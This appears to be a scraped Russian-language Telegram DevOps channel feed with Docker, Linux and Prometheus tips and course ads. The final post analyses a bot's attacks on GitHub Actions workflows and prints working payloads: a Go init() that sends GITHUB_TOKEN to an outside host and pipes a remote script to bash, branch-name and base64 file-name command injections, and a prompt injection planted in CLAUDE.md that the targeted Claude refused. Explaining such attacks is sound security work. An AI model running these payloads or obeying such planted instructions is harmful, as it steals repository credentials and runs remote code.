DeVops Библиотека
9.48K subscribers
123 photos
46 videos
43 files
119 links
Гайды, уроки и книги для Devops специалситов
по всем вопросам @workakkk
Download Telegram
🔥 Полезная подборка каналов только код, практика и самые передовые инструменты, которые используют разработчики прямо сейчас.👇

🖥 ИИ: t.me/ai_machinelearning_big_data

🖥 Python: t.me/pythonl

🖥 Linux: t.me/linuxacademiya

🖥 C++ t.me/cpluspluc

🖥 Docker: t.me/DevopsDocker

🖥 Хакинг: t.me/linuxkalii

🖥 Devops: t.me/DevOPSitsec

👣 Golang: t.me/Golang_google

🖥 Аналитика: t.me/data_analysis_ml

🖥 Javascript: t.me/javascriptv

🖥 C#: t.me/csharp_ci

🖥 Java: t.me/javatg

🖥 Базы данных: t.me/sqlhub

👣 Rust: t.me/rust_code

🤖 Технологии: t.me/machineint

💰 Экономика и инвестиции в ИИ t.me/financeStable

💼 Актуальные вакансии: t.me/addlist/_zyy_jQ_QUsyM2Vi

🖥 Chatgpt бот в тг: t.me/Chatgpturbobot

📚 Бесплатные ит-книги: https://t.me/addlist/HwywK4fErd8wYzQy

🖥Подборка по Golang: https://t.me/addlist/MUtJEeJSxeY2YTFi

⚡️ Лучшие ИИ ресурсы: https://t.me/addlist/2Ls-snqEeytkMDgy

Самое лучшее в этом: ты учишься даже тогда, когда “нет времени, просто потому что читаешь правильную ленту.
Please open Telegram to view this post
VIEW IN TELEGRAM
2
👣 Multi-stage build: лёгкие и быстрые Docker-образы

Docker-совет по оптимизации: уменьшите размер образа в несколько раз с помощью multi-stage build.

Многие образы весят сотни мегабайт, потому что в них остаются:
- компиляторы
- dev-зависимости
- временные файлы сборки

Но в продакшене нужен только готовый бинарь или собранное приложение.

Решение — многоэтапная сборка.

Идея:
1. В первом этапе — собираем проект
2. Во втором — копируем только результат
3. Всё лишнее остаётся в предыдущем слое и не попадает в финальный образ

Пример для Go:


# Stage 1 - сборка
FROM golang:1.22 AS builder

WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download

COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -o app

# Stage 2 - минимальный образ
FROM alpine:3.20

WORKDIR /app
COPY --from=builder /app/app .

CMD ["./app"]


Что это даёт:
- размер образа уменьшается в 5–20 раз
- быстрее pull и deploy
- меньше поверхность для уязвимостей
- быстрее запуск контейнеров

Аналогично работает для:
- Node (build → copy dist)
- Python (wheel → runtime)
- Java (build → copy jar)

Главная идея: в продакшен-образе должно быть только то, что нужно для запуска.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
🔍 Исследуйте связи с Эпштейном

EpsteIn — инструмент для поиска упоминаний ваших контактов LinkedIn в судебных документах Эпштейна. Просто загрузите файл с контактами и получите отчет в HTML-формате с результатами поиска.

🚀 Основные моменты:
- Поиск упоминаний в судебных документах
- Генерация отчетов в HTML
- Поддержка CSV-файлов с контактами LinkedIn
- Удобный интерфейс для просмотра результатов

📌 GitHub: https://github.com/cfinke/EpsteIn

#python
😁76👍3💩2🥴2
SQL Basics.pdf
102.8 KB
💻 Подборка шпаргалок по SQL

Собрали для вас короткие и понятные шпаргалки по основным темам:
Основы языка SQL;
JOIN’ы с наглядными примерами;
Оконные функции;
SQL для анализа данных.


Отличный комплект, чтобы освежить знания перед собесом или быстро вспомнить синтаксис.

#полезное

📲Max
Please open Telegram to view this post
VIEW IN TELEGRAM
4
Forwarded from DevOps Docker
🐳 Docker Layer Caching Trick

Многие Docker-сборки занимают 5–10 минут
даже если вы изменили одну строку кода.

Причина - неправильный порядок инструкций в Dockerfile.

🚫 Плохой Dockerfile

COPY . /app
RUN npm install
RUN npm run build

Если меняется любой файл в коде →
слой COPY . меняется.

Docker сбрасывает кэш и заново запускает:

• npm install
• build

Даже если зависимости не менялись.

В итоге - каждая сборка почти с нуля.

Правильный Dockerfile

COPY package*.json /app
RUN npm install

COPY . /app
RUN npm run build

Теперь Docker работает умнее:

если изменился только код:

• слой npm install берётся из кэша
• пересобирается только build

Время сборки

До - ~10 минут
После - ~30 секунд

📌 Золотое правило Dockerfile

Сначала кладём то, что редко меняется:

• package.json
• package-lock.json
• requirements.txt
• go.mod

А часто меняющееся - в конце:

• исходный код
• конфиги
• assets

🚀 Результат

• быстрее сборки Docker
• быстрее CI/CD
• быстрее деплой

Иногда достаточно просто поменять порядок строк в Dockerfile.

🎯Полезные DEVOPS ресурсы 🚀 Max

Docker в телеграм
2👍2👎1🔥1
➡️ Архитектура Linux простыми словами

Linux — это не просто система, а набор слоёв, которые работают вместе:

1. 🖥 Hardware
Железо: процессор, память, сеть — всё, что даёт вычислительную мощность

2. ⚙️ Kernel
Ядро системы — управляет ресурсами и напрямую общается с железом

3. 💻 Shell
Интерфейс (например, Bash), который переводит команды пользователя в язык ядра

4. 🛠 Utilities
Системные утилиты (ls, grep, cp) — инструменты для работы с системой

5. 🌐 Applications
Приложения: браузеры, плееры, IDE — то, с чем работает пользователь

📌 Как это работает вместе:

Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу

Просто, но гениально.

#Linux #DevOps #Backend
👍52🔥2
Forwarded from Rust
👣 Microsoft выкатили RustTraining.

Вот лишь часть тем, которые сразу зацепили:

- Async в продакшене
- Конкурентность и runtime
- Почему разработчикам на C/C++ стоит переходить на Rust
- no_std — Rust без стандартной библиотеки
- Зачем Rust разработчикам на C#
- Системное программирование и продакшн
- Unsafe Rust - управляемый риск
- Phantom types
- Машины состояний для протоколов

И это только малая часть.

Похоже, туда вложили очень много работы, точно стоит выделить время и пройтись.

github.com/microsoft/RustTraining/
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3
Forwarded from Golang
🧠 Контейнерный стек - кто за что отвечает

1. Podman
👉 альтернатива Docker без демона, можно запускать контейнеры rootless
🔗 https://podman.io

2. containerd
👉 низкоуровневый runtime, который реально контейнеры
🔗 https://containerd.io

3. CRI-O
👉 runtime специально для Kubernetes
🔗 https://cri-o.io

4. runc
👉 самый низкий уровень (OCI runtime)
🔗 https://github.com/opencontainers/runc

5. Buildah
👉 сборка образов без Docker
🔗 https://buildah.io

6. Kaniko
👉 сборка образов внутри Kubernetes
🔗 https://github.com/GoogleContainerTools/kaniko

7. nerdctl
👉 docker-подобный CLI для containerd
🔗 https://github.com/containerd/nerdctl

8. Rancher Desktop
👉 локальный Kubernetes + контейнеры
🔗 https://rancherdesktop.io

9. OrbStack
👉 быстрый dev environment для macOS
🔗 https://orbstack.dev

10. LXC / LXD
👉 системные контейнеры (почти как VM)
🔗 https://linuxcontainers.org

11. Colima
👉 лёгкая альтернатива Docker Desktop
🔗 https://github.com/abiosoft/colima

12. Lima
👉 лёгкая VM для macOS
🔗 https://github.com/lima-vm/lima

💡 Как это связать

👉 runc → запускает контейнер
👉 containerd / CRI-O → управляют контейнерами
👉 Podman / nerdctl → интерфейс
👉 Buildah / Kaniko → сборка
👉 Rancher / OrbStack / Colima → dev окружение
👉 Lima → VM база

👣 Полезные ресурсы Go 🚀Max

@Golang_google
Please open Telegram to view this post
VIEW IN TELEGRAM
👍32
This media is not supported in your browser
VIEW IN TELEGRAM
Ты думаешь языки программирования - это просто код?
На самом деле у каждого есть своя родина.

C, Java, Go, Rust - все родились в США.
Python - из Нидерландов.
Kotlin - Россия.
Ruby - Япония.
Scala - Швейцария.

Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира.

И чем дальше, тем сильнее это смешивается.

Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком

https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO
4👍2👎1
This media is not supported in your browser
VIEW IN TELEGRAM
⚡️ Чек-лист для твоего Linux сервера

Перед тем как ставить проекты и открывать порты - приведи сервер в порядок.

Мой чек-лист на первые 10 минут:

- обнови систему и поставь базовые утилиты
- создай отдельного пользователя и запрети root-login по SSH
- включи firewall (UFW) и открой только нужные порты
- настрой SSH-ключи вместо пароля
- включи авто-обновления безопасности
- зафиксируй таймзону и проверь логи
- поставь fail2ban, чтобы брутфорс не убил сервер за ночь

Это база, которая спасает 90% проблем на проде.


sudo apt update && sudo apt -y upgrade

sudo apt -y install htop curl wget git ufw fail2ban unattended-upgrades

sudo timedatectl set-timezone Asia/Bangkok

sudo adduser deploy && sudo usermod -aG sudo deploy

sudo ufw allow OpenSSH && sudo ufw allow 80,443/tcp && sudo ufw --force enable

sudo sed -i 's/^#?PasswordAuthentication./

PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sed -i 's/^#?PermitRootLogin./PermitRootLogin no/' /etc/ssh/sshd_config

sudo systemctl restart ssh
sudo dpkg-reconfigure --priority=low unattended-upgrades
sudo systemctl enable --now fail2ban
1🔥1
This media is not supported in your browser
VIEW IN TELEGRAM
Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍

Разбираем архитектуру Prometheus без лишней теории - только суть:

1. Discovery & Retrieval
Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики.

2. Prometheus Server
Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением.

3. TSDB
Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы.

4. Pushgateway
Нужен для короткоживущих задач - они пушат метрики перед завершением.

5. Exporters
Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат.

6. Alertmanager
Следит за правилами и шлёт алерты в Slack, почту и другие каналы.

7. PromQL + Grafana
Пишешь запросы, строишь графики, собираешь дашборды.

https://www.youtube.com/shorts/zix3HbQ96qc
2👍2🔥2
🐧 Лайфхак по Linux, который реально экономит время

Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec.

Пример:
$ find ~/ -type f -exec ls -lah {} \;

Что происходит:
find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные.

Как работает -exec:
- exec ls - команда, которую нужно выполнить
- -lah - формат вывода (права, скрытые файлы, размеры)
- {} - подставляет имя каждого найденного файла
- \; - завершает команду (экранируем, иначе shell сломает)

Полезно, когда нужно применить одно действие к куче файлов в разных местах.

Важно:
вместо \; можно использовать +
тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее

Пример с несколькими командами:
$ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \;

Считает слова и сразу показывает размер каждого файла.

Сохрани — это база для работы с файлами в Linux.
👍8🔥41
Шпаргалка Kubernetes
7🔥5👍1
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее.

Осталось одно: сесть и выучить.

Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём».

6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой.
Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных.

48 часов действует скидка 55 процентов: stepik.org/course/269250
4👍1🔥1
📎 Один бот, пять техник

За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.

Атака 1. avelino/awesome-go — кража токена через Go init()

Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.

Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.

В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:

func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}


Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.

Атака 2. project-akri/akri — прямая инъекция в shell-скрипт

Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:

#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()


Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.

Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.

Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки

Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)


Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:

run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref


Это превращалось в:

echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...


Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.


Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла

Бот создал файл с именем, содержащим закодированную команду:

documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md


При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.

Атака 5. ambient-code/platform — prompt injection в CLAUDE.md

Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.

Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.

Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.

Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
Please open Telegram to view this post
VIEW IN TELEGRAM
4